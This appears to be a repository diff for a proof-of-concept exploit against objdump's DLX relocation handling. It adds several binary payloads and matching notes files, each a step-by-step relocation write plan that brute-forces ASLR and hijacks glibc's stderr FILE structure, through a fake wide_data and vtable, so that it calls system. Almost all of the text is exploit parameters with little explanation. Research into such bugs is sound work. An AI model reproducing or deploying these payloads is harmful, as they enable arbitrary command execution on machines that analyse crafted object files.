flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE